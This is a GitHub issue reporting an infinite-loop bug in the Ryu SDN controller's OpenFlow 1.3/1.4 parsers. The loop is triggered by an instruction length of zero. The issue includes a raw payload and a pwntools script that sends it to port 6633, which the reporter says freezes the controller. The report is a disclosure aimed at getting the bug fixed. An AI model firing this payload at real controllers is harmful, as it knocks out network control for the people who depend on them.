Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Suggestion for OFPFlowMod parser will cause an infinite loop #188

Open
ErodedElk opened this issue Mar 7, 2024 · 2 comments
Open

Suggestion for OFPFlowMod parser will cause an infinite loop #188

ErodedElk opened this issue Mar 7, 2024 · 2 comments

Comments

@ErodedElk
Copy link

ErodedElk commented Mar 7, 2024

in /ryu/ofproto/ofproto_v1_3_parser.py about line=1050

class OFPFlowMod(MsgBase):
....
        while offset < msg_len:
            i = OFPInstruction.parser(buf, offset)
            instructions.append(i)
            offset += i.len
        msg.instructions = instructions

If OFPInstruction.len=0 , the offset will no longer change and the parsing will fall into an infinite loop.

@ErodedElk
Copy link
Author

ErodedElk commented Mar 7, 2024

This message will put ryu into an infinite loop:

payload=b"\x04\x0e\x00\x50\xd8\xbc\xde\xb7\x67\xf9\x0c\x3f\xfb\xa6\xdb\x87\x6f\x63\x34\xd0\xe1\x26\x43\x78\x5e\x01\x34\x0d\x32\xb4\xb3\xff\x8f\x99\xc0\xe9\x9e\x84\x70\x62\xc7\x4a\xbf\x01\xf3\xf0\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"
from pwn import *
p=remote("0.0.0.0",6633)
payload=b"\x04\x0e\x00\x50\xd8\xbc\xde\xb7\x67\xf9\x0c\x3f\xfb\xa6\xdb\x87\x6f\x63\x34\xd0\xe1\x26\x43\x78\x5e\x01\x34\x0d\x32\xb4\xb3\xff\x8f\x99\xc0\xe9\x9e\x84\x70\x62\xc7\x4a\xbf\x01\xf3\xf0\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"
p.send(payload)
p.interactive()

After sending the payload, the controller will no longer respond to any connection requests.

@ErodedElk ErodedElk changed the title Suggestion for OFPMatch parser with field_len=0 will cause an infinite loop Suggestion for OFPFlowMod parser will cause an infinite loop Mar 7, 2024
@ErodedElk
Copy link
Author

in /ryu/ofproto/ofproto_v1_3_parser.py about line=1050
in /ryu/ofproto/ofproto_v1_4_parser.py about line=4453
in /ryu/ofproto/ofproto_v1_3_parser.py about line=5321

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant